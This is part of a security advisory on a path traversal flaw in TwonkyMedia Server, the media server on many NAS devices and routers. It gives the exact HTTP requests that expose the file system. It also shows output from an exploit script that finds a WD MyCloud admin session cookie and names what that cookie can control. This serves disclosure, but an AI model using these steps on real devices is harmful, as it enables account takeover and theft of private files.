2. Background information

---------------------------------------------------------------------
"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos, 
photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.

Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content 
between connected devices. Twonky Server is used worldwide and is available as a standalone server 
(end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.

Twonky Server’s web UI provides optimal capability for you to easily and reliably control and play back your 
media files in a variety of ways, and to “beam” those media files to other connected devices." --extract from https://twonky.com

TwonkyMedia Server seems too be pre installed on a huge range of NAS devices. For example the following NAS devices:
    Thecus N2310
    Thecus N4560
    WDMyCloud, 
    MyCloudEX2Ultra, 
    WDMyCloudEX4, 
    WDMyCloudEX2100, 
    QNAP, 
    Zyxel NAS326,
    Zyxel NAS542,
    Zyxel NSA310, 
    Zyxel NSA310S,
    Zyxel NSA320,
    Zyxel NSA325-v2
    ...

Other devices:
    Belkin routers
    Zyxel EMG2926-Q10A
    ...

3. Vulnerability description

---------------------------------------------------------------------
TwonkyMedia Server has a function which allows browsing parts of the file system, that are marked as shares by the user.
By setting the "contentdir" parameter to "/../" with the rpc call "set_all", an attacker can discover the filesystem outside of the user specified shares:
HTTP request:
	POST /rpc/set_all HTTP/1.1
	Host: 192.168.188.9:9000
	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
	Accept: */*
	Accept-Language: de,en-US;q=0.7,en;q=0.3
	Accept-Encoding: gzip, deflate
	Referer: http://192.168.188.9:9000/
	Content-Type: application/x-www-form-urlencoded
	X-Requested-With: XMLHttpRequest
	Content-Length: 228
	Connection: close

	contentdir=/../


Now one can discover the file system with requests like the following:
HTTP request:
	GET /rpc/dir?path=/ HTTP/1.1
	Host: 192.168.188.9:9000
	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
	Accept: */*
	Accept-Language: de,en-US;q=0.7,en;q=0.3
	Accept-Encoding: gzip, deflate
	Referer: http://192.168.188.9:9000/webconfig
	X-Requested-With: XMLHttpRequest
	Connection: close

	 
HTTP response:
	HTTP/1.1 200 OK
	Content-Type: text/html; charset=utf-8
	Content-Language: en
	Content-Length: 128
	Date: Sat, 03 Feb 2018 09:31:28 GMT

5. Attack Scenarios

---------------------------------------------------------------------
- TwonkyMedia Server path traversal vs. WD MyCloud

	Files with filename representing PHPSESSID admin cookie's were discovered in the /tmp/ directory of a WDMyCloud NAS device:

	$ python twonky.py 192.168.188.9 9000
	https://www.shodan.io/host/192.168.188.9
	*** Port 9000 opened ***
	Run Twonky browser on port 9000 [Y, N]? [Y]
	*** Get Serverdetails from Twonky ***
	Server Name: WDMyCloud
	Serverplatform: armel_gcc473_glibc215_64k
	Pictures shared: 0
	Videos shared: 0
	Twonky Version: 7.2.9-6
	Build date: 03/25/2015 (mm/dd/yyyy)
	*** 'contentbase' path set to '/'' ***
	path nr:
	------------------------------
	[...]
	022 Dir /tmp
	[...]
	------------------------------
	path nr: 022
	------------------------------
	[...]
	059 Fil sess_c61ufnntn31o2ovuj0ncf8fkp1
	[...]
	Valid WDMyCloud cookie discovered: {'PHPSESSID': 'c61ufnntn31o2ovuj0ncf8fkp1'}
	------------------------------
	path nr:

	This cookie can be used to access the WDMyCloud Rest-Api. (http://ip/api/2.1/rest/...)
	With this access an attacker can e.g., create/modify users, download all files accessible by the user, update Firmware, ...


- TwonkyMedia Server path traversal vs. privacy

	People may store sensitive information on their NAS devices.
	Such as:
		- Business information
		- Health records
		- Passwords
		- Credit Cards
		- Passports
		- Currcillum Vitaes
		- Invoices Business/Private
		- "Private" photos
		- Illegal material
		- ...


- DMCA protected information

	There maybe also DMCA protected information public available. 
	Such as:
		- Movies
		- Music
